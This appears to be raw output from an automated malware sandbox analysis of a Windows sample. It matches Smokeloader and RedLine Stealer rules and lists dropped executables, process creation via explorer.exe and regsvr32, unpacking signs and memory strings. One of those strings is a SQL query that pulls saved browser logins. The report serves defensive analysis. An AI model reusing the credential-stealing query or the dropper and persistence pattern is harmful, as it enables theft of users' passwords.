Source: file.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: file.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: file.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A784.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A784.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A784.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A784.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 39AF.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 39AF.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 39AF.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bwgdrja.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bwgdrja.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bwgdrja.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bwgdrja.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\151.exe 403A80681DBB149307D62E94A860850699E537C1F2A284BBF202A0E9B038BF31

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000014.00000002.457008333.0000000006E10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.349314250.0000000002360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000001D.00000002.507299454.0000000000900000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000010.00000002.397859879.0000000000BD8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001A.00000002.482460524.0000000006881000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000001D.00000000.483664720.00000000009B9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001D.00000000.486808594.00000000009B9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.349455025.0000000002391000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000003.00000000.337356261.00000000057E1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000001D.00000000.486576660.0000000000900000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000010.00000002.397461829.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.349353478.0000000002370000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000001D.00000000.483255064.0000000000900000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000010.00000002.397696259.0000000000B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000014.00000002.457152622.0000000006E31000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000001D.00000002.507938605.00000000009B9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.397718127.0000000000B41000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.349098806.0000000000A89000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: String function: 0040DEB0 appears 31 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0040DEB0 appears 31 times

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004017E3 Sleep,NtTerminateProcess,	0_2_004017E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402351 NtOpenKey,NtEnumerateKey,NtEnumerateKey,	0_2_00402351
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402072 NtQuerySystemInformation,	0_2_00402072
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401807 Sleep,NtTerminateProcess,	0_2_00401807
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004014DF NtMapViewOfSection,NtMapViewOfSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004017E2 Sleep,NtTerminateProcess,	0_2_004017E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004017EE Sleep,NtTerminateProcess,	0_2_004017EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401EFD NtQuerySystemInformation,	0_2_00401EFD
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_004017E3 Sleep,NtTerminateProcess,	16_2_004017E3
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00402351 NtOpenKey,NtEnumerateKey,NtEnumerateKey,	16_2_00402351
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00402072 NtQuerySystemInformation,	16_2_00402072
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00401807 Sleep,NtTerminateProcess,	16_2_00401807
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_004014DF NtMapViewOfSection,NtMapViewOfSection,NtMapViewOfSection,NtMapViewOfSection,	16_2_004014DF
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_004017E2 Sleep,NtTerminateProcess,	16_2_004017E2
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_004017EE Sleep,NtTerminateProcess,	16_2_004017EE
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00401EFD NtQuerySystemInformation,	16_2_00401EFD

Source: file.exe	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: A784.exe.3.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: bwgdrja.3.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\bwgdrja

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@27/25@37/15

Source: C:\Users\user\AppData\Local\Temp\39AF.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 35%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\bwgdrja C:\Users\user\AppData\Roaming\bwgdrja
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D3F7.exe C:\Users\user\AppData\Local\Temp\D3F7.exe
Source: C:\Users\user\AppData\Local\Temp\D3F7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\151.exe C:\Users\user\AppData\Local\Temp\151.exe
Source: C:\Users\user\AppData\Local\Temp\D3F7.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4472 -s 280
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\96E9.dll
Source: C:\Users\user\AppData\Local\Temp\151.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\96E9.dll
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A784.exe C:\Users\user\AppData\Local\Temp\A784.exe
Source: C:\Users\user\AppData\Local\Temp\151.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 244
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\39AF.exe C:\Users\user\AppData\Local\Temp\39AF.exe
Source: C:\Users\user\AppData\Local\Temp\39AF.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\A784.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4916 -s 520
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\4962.exe C:\Users\user\AppData\Local\Temp\4962.exe
Source: C:\Users\user\AppData\Local\Temp\39AF.exe	Process created: C:\Users\user\AppData\Local\Temp\39AF.exe "C:\Users\user\AppData\Local\Temp\39AF.exe" -h
Source: C:\Users\user\AppData\Local\Temp\39AF.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\cegdrja C:\Users\user\AppData\Roaming\cegdrja
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D3F7.exe C:\Users\user\AppData\Local\Temp\D3F7.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\151.exe C:\Users\user\AppData\Local\Temp\151.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\96E9.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A784.exe C:\Users\user\AppData\Local\Temp\A784.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\39AF.exe C:\Users\user\AppData\Local\Temp\39AF.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\4962.exe C:\Users\user\AppData\Local\Temp\4962.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D3F7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\151.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\96E9.dll	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\D3F7.tmp

Jump to behavior

Source: 4962.exe, 00000024.00000003.523277231.0000000000501000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.523488685.0000000000508000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT origin_url,action_url,username_element,username_value,password_element,hex(password_value) password_value,submit_element,signon_realm,date_created,blacklisted_by_user,scheme,password_type,times_used,form_data,display_name,icon_url,federation_url,skip_zero_click,generation_upload_status,possible_username_pairs,id,date_last_used,moving_blocked_for FROM logins;
Source: 4962.exe, 00000024.00000003.515038709.0000000000501000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.519119757.0000000000518000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.518927341.0000000000508000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.523159984.00000000004B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\AppData\Roaming\bwgdrja

Code function: 16_2_00BDD277 CreateToolhelp32Snapshot,Module32First,

16_2_00BDD277

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3084
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4472
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6000:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4916
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2888:120:WilError_01

Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4962.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4962.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39AF.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\39AF.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: \Downloads\NewPublish\cykb33yxolu7\main.pdb! source: 151.exe, 00000015.00000000.467765244.0000000000D53000.00000002.00000001.01000000.0000000B.sdmp, 151.exe.3.dr
Source:	Binary string: #]C:\cubo\nevohudidejeb\xadini.pdb source: A784.exe, 0000001D.00000000.469969664.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, A784.exe.3.dr
Source:	Binary string: C:\cubo\nevohudidejeb\xadini.pdb source: A784.exe, 0000001D.00000000.469969664.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, A784.exe.3.dr
Source:	Binary string: C:\fiyo76 h.pdb source: file.exe, bwgdrja.3.dr
Source:	Binary string: applaunch.pdb source: cegdrja, 0000002A.00000000.520613354.0000000000D01000.00000020.00000001.01000000.00000011.sdmp, cegdrja.3.dr
Source:	Binary string: \Downloads\NewPublish\eykiqkb\main.pdb source: D3F7.exe, 00000011.00000000.418320774.00000000009E3000.00000002.00000001.01000000.0000000A.sdmp, D3F7.exe.3.dr
Source:	Binary string: \Downloads\NewPublish\cykb33yxolu7\main.pdb source: 151.exe, 00000015.00000000.467765244.0000000000D53000.00000002.00000001.01000000.0000000B.sdmp, 151.exe.3.dr
Source:	Binary string: \Downloads\NewPublish\eykiqkb\main.pdb! source: D3F7.exe, 00000011.00000000.418320774.00000000009E3000.00000002.00000001.01000000.0000000A.sdmp, D3F7.exe.3.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\bwgdrja	Unpacked PE file: 16.2.bwgdrja.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402847 push ebp; ret	0_2_00402848
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E56 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E5E push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E6A push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E70 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E05 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E1F push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E88 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E8F push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E96 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402EA4 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401AAC push edi; iretd	0_2_00401AAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402DB7 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02361B13 push edi; iretd	0_2_02361B14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_023628AE push ebp; ret	0_2_023628AF
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00402847 push ebp; ret	16_2_00402848
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00402E56 push eax; ret	16_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00402E5E push eax; ret	16_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00402E6A push eax; ret	16_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00402E70 push eax; ret	16_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00402E05 push eax; ret	16_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00402E1F push eax; ret	16_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00402E88 push eax; ret	16_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00402E8F push eax; ret	16_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00402E96 push eax; ret	16_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00402EA4 push eax; ret	16_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00401AAC push edi; iretd	16_2_00401AAD
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00402DB7 push eax; ret	16_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00BDF49C push eax; ret	16_2_00BDF4A4
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00BE2C00 push edx; retf	16_2_00BE2C02
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00BE2B9B push edx; ret	16_2_00BE2BA6

Source: C:\Windows\explorer.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\96E9.dll

Source: 4962.exe.3.dr	Static PE information: section name: _RDATA
Source: 4962.exe.3.dr	Static PE information: section name: .vmp0
Source: 4962.exe.3.dr	Static PE information: section name: .vmp1
Source: D3F7.exe.3.dr	Static PE information: section name: .00cfg
Source: 151.exe.3.dr	Static PE information: section name: .00cfg

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp1

Source: 96E9.dll.3.dr	Static PE information: real checksum: 0x0 should be: 0x1add91
Source: 151.exe.3.dr	Static PE information: real checksum: 0xe8b8d should be: 0xeec51
Source: 4962.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x3c92b7
Source: D3F7.exe.3.dr	Static PE information: real checksum: 0xee31c should be: 0xf43e0
Source: 39AF.exe.3.dr	Static PE information: real checksum: 0x2e80e should be: 0x3c696

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\cegdrja			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\bwgdrja			Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\bwgdrja	Jump to dropped file
